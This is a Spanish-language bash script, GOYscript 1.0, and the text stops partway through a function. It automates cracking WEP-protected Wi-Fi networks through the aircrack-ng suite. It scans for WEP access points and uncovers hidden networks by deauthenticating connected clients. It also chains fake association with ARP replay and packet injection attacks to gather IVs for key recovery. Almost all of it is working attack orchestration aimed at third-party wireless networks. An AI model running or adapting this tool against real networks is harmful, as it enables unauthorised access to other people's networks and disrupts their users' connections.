#!/bin/bash
# CAMBIOS
# version 1.0
#	- version inicial

##### CONSTANTES #####
VERSION="1.0"

negro="\033[0;30m"
rojo="\033[0;31m"
verde="\033[0;32m"
marron="\033[0;33m"
azul="\033[0;34m"
magenta="\033[0;35m"
cyan="\033[01;36m"
grisC="\033[0;37m"
gris="\033[1;30m"
rojoC="\033[1;31m"
verdeC="\033[1;32m"
amarillo="\033[1;33m"
azulC="\033[1;34m"
magentaC="\033[1;35m"
cyanC="\033[1;36m"
blanco="\033[1;37m"
subrayar="\E[4m"
parpadeoON="\E[5m"
parpadeoOFF="\E[0m"
resaltar="\E[7m"

UNIX2DOS="./software/./unix2dos"
XXD="./software/./xxd"
HEAD="./software/./head"
TAIL="./software/./tail"
AIRCRACK="./software/./aircrack-ng"
AIREPLAY="./software/./aireplay-ng -R --ignore-negative-one"
AIRMON="./software/./airmon-ng"
AIRODUMP="./software/./airodump-ng"
PACKETFORGE="./software/./packetforge-ng"
JAZZTELDECRYPTER="./software/./jazzteldecrypter"
WLANDECRYPTER="./software/./wlandecrypter"
WLAN4xx="./software/./wlan4xx"
MACS="./software/MACs.goy"

#LOS SIGUIENTES PARAMETROS SE APLICAN POR DEFECTO CUANDO NO ES POSIBLE
#DETECTAR LA RESOLUCION DE LA PANTALLA. ESTAN OPTIMIZADOS PARA UNA
#RESOLUCION DE 1024x768 PORQUE LA MAYORIA DE LAS DISTRIBUCIONES DE
#LINUX ES LA QUE USAN POR DEFECTO
HOLD="-hold"
NORMAL="-fg black -bg white"
INFORMA="-fg black -bg yellow"
MAL="-fg black -bg red"
BIEN="-fg black -bg green"
FUENTE="-fs 8"
BUSCAR_REDES_VENTANA="-geometry 100x100-0+0"
AIRODUMP_VENTANA="-geometry 90x11-0-0"
ASOCIACION_VENTANA="-geometry 90x3-0+0"
ATAQUE2_VENTANA="-geometry 90x3-0+70"
ATAQUE3_1_VENTANA="-geometry 90x3-0+140"
ATAQUE3_2_VENTANA="-geometry 90x3-0+210"
ATAQUE4_VENTANA="-geometry 90x3-0+280"
ATAQUE5_VENTANA="-geometry 90x3-0+350"
ATAQUE6_VENTANA="-geometry 90x3-0+420"
ATAQUE7_VENTANA="-geometry 90x3-0+490"
AIRCRACK_VENTANA="-geometry 70x23+0-0"

#CALCULAMOS LA RESOLUCION DE LA PANTALLA. DEPENDIENDO DE LA VERSION DE "xandr" SE RECORTA DE UNA FORMA U OTRA
which xdpyinfo > /dev/null 2>&1
if [ $? -eq 0 ]
then
	RESOLUCION=`xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3`
else
	which xrandr > /dev/null 2>&1
	if [ $? -eq 0 ]
	then
		RESOLUCION=`xrandr | grep "*" | awk '{print $1}'`
		RESOLUCION=`echo $RESOLUCION | grep "x"`
		if [ "$RESOLUCION" = "" ]
		then
			RESOLUCION=`xrandr | grep "current" | awk -F "current" '{print $2}' | awk -F " " '{print $1$2$3}' | awk -F "," '{print $1}'`
			RESOLUCION=`echo $RESOLUCION | grep "x"`
		fi
		if [ "$RESOLUCION" = "" ]
		then
			RESOLUCION=`xrandr | grep "*" | awk '{print $2$3$4}'`
			RESOLUCION=`echo $RESOLUCION | grep "x"`
		fi
	else
		which Xvesa > /dev/null 2>&1
		if [ $? -eq 0 ]
		then
			RESOLUCION=`Xvesa -listmodes 2>&1 | grep ^0x | awk '{ printf "%s %s\n",$2,$3 }' | sort -n | grep x[1-2][4-6] | tail -n 1 | awk -F 'x' '{print $1"x"$2}'` 
		else
			RESOLUCION=""
		fi
	fi
fi
case $RESOLUCION in
	1920x1080)
		FUENTE="-fn 9x15bold"
		BUSCAR_REDES_VENTANA="-geometry 105x100-0+0"
		AIRODUMP_VENTANA="-geometry 100x18-0-0"
		ASOCIACION_VENTANA="-geometry 100x5-0+0"
		ATAQUE2_VENTANA="-geometry 100x5-0+105"
		ATAQUE3_1_VENTANA="-geometry 100x2-0+210"
		ATAQUE3_2_VENTANA="-geometry 100x3-0+270"
		ATAQUE4_VENTANA="-geometry 100x3-0+345"
		ATAQUE5_VENTANA="-geometry 100x5-0+420"
		ATAQUE6_VENTANA="-geometry 100x5-0+525"
		ATAQUE7_VENTANA="-geometry 100x5-0+630"
		AIRCRACK_VENTANA="-geometry 80x25+0-0";;
	1280x1024)
		FUENTE="-fs 8"
		AIRODUMP_VENTANA="-geometry 100x31-0-0"
		ASOCIACION_VENTANA="-geometry 100x3-0+0"
		ATAQUE2_VENTANA="-geometry 100x3-0+70"
		ATAQUE3_1_VENTANA="-geometry 100x3-0+140"
		ATAQUE3_2_VENTANA="-geometry 100x3-0+210"
		ATAQUE4_VENTANA="-geometry 100x3-0+280"
		ATAQUE5_VENTANA="-geometry 100x3-0+350"
		ATAQUE6_VENTANA="-geometry 100x3-0+420"
		ATAQUE7_VENTANA="-geometry 100x3-0+490"
		AIRCRACK_VENTANA="-geometry 80x25+0-0";;
	1280x800)
		FUENTE="-fs 8"
		AIRODUMP_VENTANA="-geometry 100x14-0-0"
		ASOCIACION_VENTANA="-geometry 100x3-0+0"
		ATAQUE2_VENTANA="-geometry 100x3-0+70"
		ATAQUE3_1_VENTANA="-geometry 100x3-0+140"
		ATAQUE3_2_VENTANA="-geometry 100x3-0+210"
		ATAQUE4_VENTANA="-geometry 100x3-0+280"
		ATAQUE5_VENTANA="-geometry 100x3-0+350"
		ATAQUE6_VENTANA="-geometry 100x3-0+420"
		ATAQUE7_VENTANA="-geometry 100x3-0+490"
		AIRCRACK_VENTANA="-geometry 80x25+0-0";;
	1024x600)
		FUENTE="-fs 8"
		BUSCAR_REDES_VENTANA="-geometry 100x100-0+0"
		AIRODUMP_VENTANA="-geometry 90x11-0-0"
		ASOCIACION_VENTANA="-geometry 90x2-0+0"
		ATAQUE2_VENTANA="-geometry 90x2-0+55"
		ATAQUE3_1_VENTANA="-geometry 90x2-0+110"
		ATAQUE3_2_VENTANA="-geometry 90x2-0+165"
		ATAQUE4_VENTANA="-geometry 90x1-0+220"
		ATAQUE5_VENTANA="-geometry 90x1-0+262"
		ATAQUE6_VENTANA="-geometry 90x1-0+304"
		ATAQUE7_VENTANA="-geometry 90x1-0+348"
		AIRCRACK_VENTANA="-geometry 70x23+0-0";;
	"")
		RESOLUCION=""$rojoC"[no detectada]";;
esac

case $TERM in #EN DISTRIBUCIONES COMO BEINI, LOS PARAMETROS DE LA CONSOLA SON DISTINTOS
	rxvt)
		parpadeoON=""
		NORMAL="+sb -fg black -bg white +tr"
		INFORMA="+sb -fg black -bg yellow +tr"
		MAL="+sb -fg black -bg red +tr"
		BIEN="+sb -fg black -bg green +tr"
		HOLD=""
		FUENTE=""
		BUSCAR_REDES_VENTANA="-geometry 100x59-0+0"
		AIRODUMP_VENTANA="-geometry 100x18-0-0"
		ASOCIACION_VENTANA="-geometry 100x2-0+0"
		ATAQUE2_VENTANA="-geometry 100x3-0+70"
		ATAQUE3_1_VENTANA="-geometry 100x3-0+140"
		ATAQUE3_2_VENTANA="-geometry 100x3-0+210"
		ATAQUE4_VENTANA="-geometry 100x3-0+280"
		ATAQUE5_VENTANA="-geometry 100x3-0+350"
		ATAQUE6_VENTANA="-geometry 100x3-0+420"
		ATAQUE7_VENTANA="-geometry 100x3-0+490"
		AIRCRACK_VENTANA="-geometry 70x23+0-0";;
esac

IVS=0
TEMP=""
INTERFAZ=0
INTERFAZ_MONITOR=0
MONITOR=0
$AIRMON stop mon0 > /dev/null 2>&1
TARJETAS_WIFI_DISPONIBLES=`iwconfig --version | grep "Recommend" | awk '{print $1}'`
N_TARJETAS_WIFI=`echo $TARJETAS_WIFI_DISPONIBLES | awk '{print NF}'`

#############
# FUNCIONES #
#############

#COMPRUEBA SI AIRODUMP ESTA ABIERTO
function comprobar_airodump
{
ps -A > captura/procesos.goy
grep airodump-ng captura/procesos.goy > /dev/null 2>&1
}

#HORA DE INICIO
function hora_inicio
{
ano1=`date +%Y`
mes1=`date +%m`
dia1=`date +%d`
hora1=`date +%H`
minutos1=`date +%M`
segundos1=`date +%S`
segundos_del_ano1=`date +%s`
}

#HORA DE FINALIZACION
function hora_fin
{
ano2=`date +%Y`
mes2=`date +%m`
dia2=`date +%d`
hora2=`date +%H`
minutos2=`date +%M`
segundos2=`date +%S`
segundos_del_ano2=`date +%s`
}

#DIFERENCIA DE TIEMPO ENTRE "HORA DE INICIO" Y "HORA DE FINALIZACION"
function calcular_tiempo
{
segundos=`expr $segundos_del_ano2 - $segundos_del_ano1`
minutos=0
horas=0
dias=0
dias=`expr $segundos / 86400`
segundos=`expr $segundos % 86400`
horas=`expr $segundos / 3600`
segundos=`expr $segundos % 3600`
minutos=`expr $segundos / 60`
segundos=`expr $segundos % 60`
}

#DETIENE POSIBLES PROCESOS EN MARCHA (SE HACE 2 VECES SEGUIDAS CON UNA PAUSA ENTRE CADA UNA, PARA ASEGURARSE)
function matar_procesos()
{
echo -e "$cyan""\n$1"
echo -e "$grisC"
killall -q aircrack-ng airodump-ng aireplay-ng packetforge-ng ifconfig dhcpcd dhclient udhcpc > /dev/null 2>&1
kill `ps -A | grep xterm | egrep -v '(GOYscript|goyscript)' | awk '{print $1}'` > /dev/null 2>&1
sleep 2
kill `ps -A | grep xterm | egrep -v '(GOYscript|goyscript)' | awk '{print $1}'` > /dev/null 2>&1
}

#BORRA ARCHIVOS DE SESIONES ANTERIORES
function borrar_sesiones_anteriores
{
if [ -d "./captura" ]
then
	echo -e ""$cyan"Borrando archivos temporales de sesiones anteriores..."$grisC""
	echo
	mv captura/wifis.csv captura/anteriorCSV.wifis > /dev/null 2>&1
	mv captura/clientes.csv captura/anteriorCSV.wifis-clientes > /dev/null 2>&1
	rm -rf captura/red_oculta*  > /dev/null 2>&1
	rm -rf captura/procesos.goy > /dev/null 2>&1
	rm -rf captura/ataque4.cap > /dev/null 2>&1
	rm -rf captura/ataque5.cap > /dev/null 2>&1
	rm -rf captura/wifis* > /dev/null 2>&1
	rm -rf captura/*.kismet.csv > /dev/null 2>&1
	rm -rf captura/*.kismet.netxml > /dev/null 2>&1
	rm -rf captura/*.csv > /dev/null 2>&1
	rm -rf captura/diccionario* > /dev/null 2>&1
fi
mkdir captura > /dev/null 2>&1
mkdir wifis  > /dev/null 2>&1
rm -rf *.cap > /dev/null 2>&1
rm -rf *.xor > /dev/null 2>&1
}

#NOMBRE Y VERSION DEL SCRIPT
function version
{
clear
echo -e "$blanco\c"
echo -e "+=====================================+"
echo -e "|      GOYscript $VERSION by GOYfilms      |"
echo -e "+=====================================+"
echo -e $grisC
}

#SELECCION DE TARJETA WiFi
function seleccionar_tarjeta
{
if [ "$TARJETAS_WIFI_DISPONIBLES" = "" ]
then
	echo -e ""$rojoC"ERROR: No se detecto ninguna tarjeta WiFi"
	echo -e "$grisC"
	pulsar_una_tecla
else
	echo -e ""$cyan"Tarjetas WiFi disponibles:"$grisC""
	echo
	x=1
	while [ $x -le $N_TARJETAS_WIFI ]
	do
		INTERFAZ=`echo $TARJETAS_WIFI_DISPONIBLES | awk '{print $'$x'}'`
		DRIVER=`ls -l /sys/class/net/$INTERFAZ/device/driver | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`
		MAC=`ifconfig $INTERFAZ | grep "$INTERFAZ" | $TAIL --bytes 20 | $HEAD --bytes 8 | awk '{print toupper($0)}'` #extraemos la MAC XX:XX:XX (solo los 3 primeros pares)
		if [ "$MAC" = "00-00-00" ] #SI LA INTERFAZ ESTA EN MODO MONITOR VARIA EL METODO PARA EXTRAER LA MAC
		then
			MAC=`ifconfig $INTERFAZ | grep "$INTERFAZ" | awk '{print $5}' | $HEAD --bytes 8 | awk '{gsub(/-/,":"); print}' | awk '{print toupper($0)}'` #extraemos la MAC
		fi
		FABRICANTE_INTERFAZ=`grep $MAC $MACS | awk -F '#' '{print $2}'`
		if [ "$FABRICANTE_INTERFAZ" = "" ]
		then
			FABRICANTE_INTERFAZ="<Desconocido>"
		fi
		if [ $x -eq 1 ]
		then
			echo -e ""$cyan" Nº\tINTERFAZ\tDRIVER\t\tFABRICANTE"
			echo -e ""$cyan" ==\t========\t======\t\t=========="
		fi
		CARACTERES_DRIVER=`echo $DRIVER | wc -c` 
		if [ $CARACTERES_DRIVER -gt 8 ] #CONTROLA LA TABULACION DEPENDIENDO DE LOS CARACTERES QUE TENGA LA VARIABLE "DRIVER"
		then
			TAB=""
		else
			TAB="\t"
		fi
		echo -e ""$amarillo" $x)\t$INTERFAZ \t\t$DRIVER\t"$TAB"$FABRICANTE_INTERFAZ"
		x=$((x+1))
	done
	if [ $N_TARJETAS_WIFI -gt 1 ] # SI DETECTA MAS DE UNA NOS PREGUNTA CUAL QUEREMOS
	then
		echo -e "\n"$cyan"\nSelecciona una tarjeta WiFi:\c"
		echo -e ""$amarillo" \c"
		read -n 1 OPCION
		while [[ $OPCION < 1 ]] || [[ $OPCION > $N_TARJETAS_WIFI ]]
		do
			echo -en "\a\033[10C"$rojoC"OPCION NO VALIDA"$grisC""
			echo -en ""$cyan"\rSelecciona una tarjeta WiFi: "$amarillo"\c"
			read -n 1 OPCION
		done
	else
		OPCION=1
	fi
	echo -en "\a\033[10C                 "$grisC"" #BORRA EL MENSAJE DE "OPCION NO VALIDA"
fi
if [ $N_TARJETAS_WIFI -gt 1 ] # SI DETECTA MAS DE UNA VARIA EL MENSAJE
then
	INTERFAZ=`echo $TARJETAS_WIFI_DISPONIBLES | awk '{print $'$OPCION'}'`
	echo -e "\n"
	echo -e ""$cyan"Has seleccionado: "$verdeC"$INTERFAZ"$grisC""
	echo
else
	echo
	echo -e ""$cyan"Solo se ha detectado una tarjeta WiFi: "$verdeC"$INTERFAZ"$grisC""
	echo
fi
}

#MUESTRA LA RESOLUCION DE PANTALLA ACTUAL
function mostrar_resolucion_de_pantalla
{
echo -e ""$cyan"Resolucion de pantalla actual: "$verdeC"$RESOLUCION"$grisC""
echo
}

#INICIALIZACION DE LA TARJETA
function iniciar_tarjeta
{
echo -e ""$cyan"Iniciando la tarjeta WiFi..."$grisC""
echo
ifconfig $INTERFAZ down
MAC_INTERFAZ=`ifconfig $INTERFAZ | grep "$INTERFAZ" | $TAIL --bytes 20 | $HEAD --bytes 17 | awk '{print toupper($0)}'` #extraemos la MAC de la interfaz del comando 'ifconfig'
if [ "$MAC_INTERFAZ" = "00-00-00-00-00-00" ] #SI LA INTERFAZ ESTA EN MODO MONITOR VARIA EL METODO PARA EXTRAER LA MAC
then
	MAC_INTERFAZ=`ifconfig $INTERFAZ | grep "$INTERFAZ" | awk '{print $5}' | $HEAD --bytes 17  | awk '{gsub(/-/,":"); print}' | awk '{print toupper($0)}'` #extraemos la MAC
fi
ifconfig $INTERFAZ up
iwconfig $INTERFAZ rate 1M
}

#ACTIVA EL MODO MONITOR DE LA INTERFAZ
function activar_modo_monitor
{
echo -e ""$cyan"Activando modo monitor en $INTERFAZ [MAC="$MAC_INTERFAZ"]..."$grisC""
echo
$AIRMON start $INTERFAZ $CANAL
ifconfig mon0 > /dev/null 2>&1
if [ $? = 0 ] #SI LA ORDEN ANTERIOR SE COMPLETO CORRECTAMENTE, SIGNIFICA QUE EXISTE LA INTERFAZ "mon0"
then
	INTERFAZ_MONITOR=mon0
else
	INTERFAZ_MONITOR=$INTERFAZ
fi
}

#SELECCION DE LA RED A ATACAR
function seleccionar_red
{
echo -e "$cyan"
echo -e "$parpadeoON+================================+"
echo -e "|                                |"
echo -e "|$parpadeoOFF "$cyan" PULSA CONTROL+C PARA DETENER  $parpadeoON|"
echo -e "|$parpadeoOFF "$cyan" LA  BUSQUEDA  Y  SELECCIONAR  $parpadeoON|"
echo -e "|$parpadeoOFF "$cyan" UNA DE LAS REDES DETECTADAS   $parpadeoON|"
echo -e "|                                |"
echo -e "+================================+"
echo -e "$parpadeoOFF""$grisC"
xterm $NORMAL $FUENTE $BUSCAR_REDES_VENTANA -title "BUSCANDO REDES WiFi" -e $AIRODUMP --encrypt WEP -w ./captura/wifis $INTERFAZ_MONITOR
LINEAS_AP=`cat captura/wifis-01.csv | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` #Nº LINEAS HASTA "Station" o "Cliente" (si se usa el airodump-ng traducido) :D
LINEAS_AP=`expr $LINEAS_AP - 1` #RESTAMOS 1 PARA ELIMINAR TAMBIEN LA LINEA "Station"
$HEAD -n $LINEAS_AP captura/wifis-01.csv &> captura/wifis.csv #GUARDAMOS EN UN ARCHIVO LOS APs
$TAIL -n +$LINEAS_AP captura/wifis-01.csv &> captura/clientes.csv #GUARDAMOS EN OTRO LOS CLIENTES
clear
LINEAS_WIFIS_CSV=`wc -l captura/wifis.csv | awk '{print $1}'`
if [ $LINEAS_WIFIS_CSV -le 3 ] 	#SI EL ARCHIVO "wifis.csv" TIENE 3 LINEAS
then				#ES QUE NO SE DETECTO NINGUNA RED
	echo -e "$rojoC"
	echo "No se encontro ninguna red WiFi"
	echo -e "$grisC"
	if [ -e captura/anteriorCSV.wifis ] #SI EXISTE UNA BUSQUEDA ANTERIOR, LA USAREMOS
	then
		echo -e $verdeC"Se detecto una busqueda anterior. ¡Vamos a usarla!"
		echo -e $grisC
		sleep 2
		clear
		mv captura/anteriorCSV.wifis captura/wifis.csv > /dev/null 2>&1
		mv captura/anteriorCSV.wifis-clientes captura/clientes.csv > /dev/null 2>&1
	else
		pulsar_una_tecla
	fi
fi
rm -rf captura/wifis.goy > /dev/null 2>&1
i=0
while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY
do
	caracteres_mac=${#MAC}
	if [ $caracteres_mac -ge 17 ]
	then
		i=$(($i+1))
		if [[ $POWER -lt 0 ]]
		then
			if [[ $POWER -eq -1 ]]
			then
				POWER=0
			else
				POWER=`expr $POWER + 100`
			fi
		fi
		POWER=`echo $POWER | awk '{gsub(/ /,""); print}'` #ELIMINA LOS ESPACIOS SI LOS HAY
		IV=`echo $IV | awk '{gsub(/ /,""); print}'` #CORRIGE LOS IVs RECORTANDO LOS ESPACIOS
		ESSID=`expr substr "$ESSID" 2 $IDLENGTH` #CORRIGE EL NOMBRE DE LA RED WiFi RECORTANDO EL ESPACIO DEL PRINCIPIO
		if [ $CHANNEL -gt 13 ] || [ $CHANNEL -lt 1 ] #SI EL CANAL NO ESTA ENTRE 1 Y 13 ENTONCES NO ES VALIDO
		then
			CHANNEL=0
		else
			CHANNEL=`echo $CHANNEL | awk '{gsub(/ /,""); print}'` #CORRIGE EL CANAL ELIMINANDO LOS ESPACIOS
		fi
		if [ "$ESSID" = "" ] || [ "$CHANNEL" = "-1" ] #SI EL NOMBRE DE LA RED ESTA VACIO ES QUE ES UNA RED OCULTA
		then
			ESSID="< Oculta >"
		fi
		echo -e "$MAC,$CHANNEL,$IV,$POWER,$ESSID" >> captura/wifis.goy
	fi
done < captura/wifis.csv
sort -t "," -d -k 4 captura/wifis.goy > captura/wifis_ordenado.goy
echo -e ""$cyan"\c"
echo "                Redes WiFi detectadas con contraseña WEP             "
echo "                ========================================             "
echo
echo "  Nº           MAC             CANAL    IVs    SEÑAL    NOMBRE DE RED"
echo "  ==    =================      =====    ===    =====    ============="
i=0
while IFS=, read MAC CANAL IV POTENCIA ESSID
do
	i=$(($i+1))
	if [ $i -le 9 ] #ALINEA A LA DERECHA EL NUMERO DE OPCION
	then
		ESPACIO1=" "
	else
		ESPACIO1=""
	fi
	if [[ $CANAL -le 9 ]] #ALINEA A LA DERECHA EL CANAL
	then
		ESPACIO2=" "
		if [[ $CANAL -eq 0 ]]
		then
			CANAL="-"
		fi
	else
		ESPACIO2=""
	fi
	if [[ $IV -le 9 ]] #ALINEA A LA DERECHA LOS IVs
	then
		ESPACIO3=" "
	else
		ESPACIO3=""
	fi
	if [[ "$POTENCIA" = "" ]]
	then
		POTENCIA=0
	fi
	if [[ $POTENCIA -le 9 ]] #ALINEA A LA DERECHA LA POTENCIA DE LA SEÑAL
	then
		ESPACIO4=" "
	else
		ESPACIO4=""
	fi
	if [[ $IV -eq 0 ]] #SI NO SE HAN CAPTURADO IVs LO CAMBIAMOS POR "-" PORQUE DESTACA MENOS QUE UN "0"
	then
		IV="-"
	fi
	MAC_GUIONES=`echo $MAC | awk '{gsub(/:/,"-"); print}'`
	EXISTE=`find wifis | grep "$ESSID ($MAC_GUIONES).txt"`
	if [ ! "$EXISTE" = "" ] #CAMBIAMOS EL COLOR DEPENDIENDO DE SI YA TENEMOS LA CLAVE O NO
	then
		echo -e "$magenta\c"
	else
		if [ "$ESSID" = "< Oculta >" ]
		then
			echo -e "$rojoC\c"
		else
			echo -e "$blanco\c"
		fi
	fi
	CLIENTE=`cat captura/clientes.csv | grep $MAC`
	if [ "$CLIENTE" != "" ]
	then
		CLIENTE="#" #MUESTRA UNA ALMOHADILLA EN LAS REDES QUE TIENEN CLIENTES CONECTADOS
	fi
	nombres_ap[$i]=$ESSID
	canales[$i]=$CANAL
	macs[$i]=$MAC
	echo -e " $ESPACIO1$i)$CLIENTE\t$MAC\t$ESPACIO2$CANAL\t$ESPACIO3$IV\t$ESPACIO4$POTENCIA%\t$ESSID"
done < captura/wifis_ordenado.goy
echo
if [ $i -eq 1 ] #SI SOLO SE HA DETECTADO UNA RED LA ESCOGERA ;-D
then
	SELECCION=1
else
	echo -e ""$cyan"\rSelecciona una red de la lista: "$amarillo"\c"
	read SELECCION
fi
while [[ $SELECCION -lt 1 ]] || [[ $SELECCION -gt $i ]]
do
	echo -en "\a\033[1A\033[40C"$rojoC"OPCION NO VALIDA"$grisC""
	echo -en "\a\r"$cyan"Selecciona una red de la lista: "$amarillo"\c"
	read SELECCION
done
NOMBRE_AP=${nombres_ap[$SELECCION]}
CANAL=${canales[$SELECCION]}
MAC_AP=${macs[$SELECCION]}
echo -e "\a\033[1A\033[40C                "$grisC"" #BORRA EL MENSAJE DE "OPCION NO VALIDA"
MAC_GUIONES=`echo $MAC_AP | awk '{gsub(/:/,"-"); print}'`
hora_inicio
if [ "$NOMBRE_AP" = "< Oculta >" ]
then
	echo -e $rojoC
	echo -e "Has seleccionado una red oculta."
	echo -e "Hay que averiguar algunos datos antes de poder continuar."
	echo -e $grisC
	descubrir_red_oculta
fi
}

#DESCUBRE LOS DATOS QUE FALTAN DE UNA RED OCULTA
function descubrir_red_oculta
{
if [ "$CANAL" = "-" ] || [ $CANAL -lt 1 ] || [ $CANAL -gt 13 ] #SI EL CANAL NO ES VALIDO, SE BUSCA EL CANAL CORRECTO.
then
	echo -e $cyan"   Buscando CANAL... "$grisC" \c"
	xterm $NORMAL $FUENTE $AIRODUMP_VENTANA -title "Buscando el canal de $MAC_AP" -e $AIRODUMP --bssid $MAC_AP -w "captura/red_oculta_canal" $INTERFAZ_MONITOR &
	CANAL=""
	while [[ "$CANAL" = "" ]] || [[ $CANAL -gt 13 ]] || [[ $CANAL -lt 1 ]]
	do
		if [ -e "captura/red_oculta_canal-01.csv" ]
		then
			CANAL=`cat captura/red_oculta_canal-01.csv | $HEAD -n 3 | $TAIL -n 1 | awk -F ',' '{print $4}' | awk '{gsub(/ /,""); print}'`
		fi
	done
	echo -e $verdeC"Encontrado: $CANAL"
	echo -e $grisC
	killall airodump-ng
fi
echo -e $cyan"   Buscando NOMBRE DE RED... "$grisC" \c"
xterm $NORMAL $FUENTE $AIRODUMP_VENTANA -title "Buscando el nombre de red de $MAC_AP" -e $AIRODUMP --bssid $MAC_AP -c $CANAL,$CANAL -w "captura/red_oculta_nombre" $INTERFAZ_MONITOR &
NOMBRE_AP=""
CLIENTE=""
while [ "$NOMBRE_AP" = "" ] #BUSCAMOS EL NOMBRE DE LA RED
do
	if [ -e "captura/red_oculta_nombre-01.csv" ]
	then
		NOMBRE_AP=`cat captura/red_oculta_nombre-01.csv | $HEAD -n 3 | $TAIL -n 1 | awk -F ',' '{print $14}' | sed "s/^.\(.*\)/\1/"`
		CLIENTE=`cat captura/red_oculta_nombre-01.csv | $TAIL -n 2 | $HEAD -n 1 | awk -F ',' '{print $1}'`
	fi
	if [ "$CLIENTE" != "" ] #SI HAY UN CLIENTE CONECTADO LO EXPULSAMOS CONSEGUIR EL NOMBRE AL RECONECTARSE
	then
		xterm $BIEN $FUENTE $ASOCIACION_VENTANA -title "ATAQUE -0 [Expulsando al cliente del AP]" -e $AIREPLAY -0 1 -a $MAC_AP -c $CLIENTE $INTERFAZ_MONITOR
		CLIENTE=""
	fi
	sleep 5
done
echo -e $verdeC"Encontrado: \"$NOMBRE_AP\""
echo -e $grisC
killall airodump-ng
}

#MUESTRA LOS DATOS CON LOS QUE SE VA A TRABAJAR
function mostrar_datos_seleccionados
{
if [ "$FABRICANTE_INTERFAZ" = "" ]
then
	MAC=`echo $MAC_INTERFAZ | $HEAD --bytes 8`
	FABRICANTE_INTERFAZ=`grep $MAC $MACS | awk -F '#' '{print $2}'`
fi
MAC=`echo $MAC_AP | $HEAD --bytes 8` #recortamos la MAC XX:XX:XX
FABRICANTE_AP=`grep $MAC $MACS | awk -F '#' '{print $2}'` #buscamos el fabricante en la base de datos
if [ "$FABRICANTE_AP" = "" ]
then
	FABRICANTE_AP="<Desconocido>"
fi
echo -e "$amarillo"
echo "RESUMEN"
echo "======="
echo
echo -e "   "$subrayar"INTERFAZ"$parpadeoOFF""$amarillo":"
echo "      Nombre..........: $INTERFAZ"
echo "      Modo monitor....: $INTERFAZ_MONITOR"
echo "      MAC.............: $MAC_INTERFAZ"
echo "      Fabricante......: $FABRICANTE_INTERFAZ"
echo
echo -e "   "$subrayar"PUNTO DE ACCESO"$parpadeoOFF""$amarillo":"
echo "      Nombre..........: $NOMBRE_AP"
echo "      MAC.............: $MAC_AP"
echo "      Canal...........: $CANAL"
echo "      Fabricante......: $FABRICANTE_AP"
echo -e "$grisC"
}

#CAPTURAR TRAFICO DE LA RED SELECCIONADA
function captura_de_paquetes
{
xterm $NORMAL $FUENTE $AIRODUMP_VENTANA -title "Capturando trafico de \"$NOMBRE_AP\"" -e $AIRODUMP --bssid $MAC_AP -c $CANAL,$CANAL -w "captura/$NOMBRE_AP ($MAC_GUIONES)" $INTERFAZ_MONITOR &
}

#ASOCIACION FALSA
function asociacion_falsa
{
iwconfig $INTERFAZ_MONITOR channel $CANAL
sleep 1
INTENTOS_ASOCIACION=1
comprobar_airodump #CONTROLA SI SE HA CERRADO LA CAPTURA DE TRAFICO
while [ $? -eq 0 ]
do
	xterm $NORMAL $FUENTE $ASOCIACION_VENTANA -title "ATAQUE -1 [Asociacion falsa] #$INTENTOS_ASOCIACION" -e $AIREPLAY -1 30 -o 1 -q 10 -e "$NOMBRE_AP" -a $MAC_AP -h $MAC_INTERFAZ $INTERFAZ_MONITOR
	INTENTOS_ASOCIACION=$((INTENTOS_ASOCIACION+1))
	sleep 2
	comprobar_airodump #CONTROLA SI SE HA CERRADO LA CAPTURA DE TRAFICO
	if [ ! $? -eq 0 ]
	then
		break
	fi
done
}

#INYECCION DE TRAFICO - ATAQUE 2
function ataque_2
{
xterm $NORMAL $FUENTE $ATAQUE2_VENTANA -title "ATAQUE -2 [Seleccion automatica del paquete]" -e $AIREPLAY -2 -p 0841 -F -c FF:FF:FF:FF:FF:FF -b $MAC_AP -h $MAC_INTERFAZ $INTERFAZ_MONITOR
comprobar_airodump
if [ $? -eq 0 ] #SI FALLA EL ATAQUE, ESPERA A QUE SE CIERRE AIRODUMP PARA CERRARSE
then
	xterm $HOLD $MAL $FUENTE $ATAQUE2_VENTANA -title "ATAQUE -2 [Seleccion automatica del paquete] - ### FALLIDO ###" -e echo -e "\n\t### ATAQUE FALLIDO ### \c"
fi
}

#INYECCION DE TRAFICO - ATAQUE 3 con cliente falso
function ataque_3_1
{
xterm $NORMAL $FUENTE $ATAQUE3_1_VENTANA -title "ATAQUE -3 [Reinyeccion con cliente falso]" -e $AIREPLAY -3 -x 1024 -g 1000000 -b $MAC_AP -h $MAC_INTERFAZ -i $INTERFAZ_MONITOR $INTERFAZ_MONITOR
comprobar_airodump
if [ $? -eq 0 ] #SI FALLA EL ATAQUE, ESPERA A QUE SE CIERRE AIRODUMP PARA CERRARSE
then
	xterm $HOLD $MAL $FUENTE $ATAQUE3_1_VENTANA -title "ATAQUE -3 [Reinyeccion con cliente falso] - ### FALLIDO ###" -e echo -e "\n\t### ATAQUE FALLIDO ### \c"
fi
}

#INYECCION DE TRAFICO - ATAQUE 3 con cliente real
function ataque_3_2
{
CLIENTE="" #INICIALIZAMOS LA VARIABLE EN LA QUE GUARDAREMOS LA MAC DEL CLIENTE
INTENTOS_CLIENTE=1 #INICIALIZAMOS LA VARIABLE DE INTENTOS DE ATAQUE CON CLIENTE REAL
comprobar_airodump #COMPROBAMOS QUE AIRODUMP SIGUE ACTIVO
while [ $? -eq 0 ] #MIENTRAS AIRODUMP SIGA ACTIVO SE BUSCARAN CLIENTES ASOCIADOS
do
	while [ "$CLIENTE" = "" ]
	do
		CLIENTES=`cat captura/"$NOMBRE_AP ($MAC_GUIONES)"-*.csv | grep -v WEP | grep $MAC_AP | awk -F ',' '{print $1}'| awk '{gsub(/ /,""); print}'` #TODOS LOS CLIENTES DETECTADOS
		CUANTOS_CLIENTES=`echo $CLIENTES | wc -w`
		CLIENTE=`echo $CLIENTES | awk '{print $1}'` #SELECCIONAMOS EL PRIMER CLIENTE DETECTADO
		if [ "$CLIENTE" = "$MAC_INTERFAZ" ] #SI EL CLIENTE DETECTADO SOMOS NOSOTROS
		then
			if [ $CUANTOS_CLIENTES -gt 1 ] #SI HAY ALGUIEN MAS CONECTADO, ADEMAS DE NOSOTROS
			then
				CLIENTE=`echo $CLIENTES | awk '{print $2}'` #SELECCIONAMOS EL SEGUNDO
			else
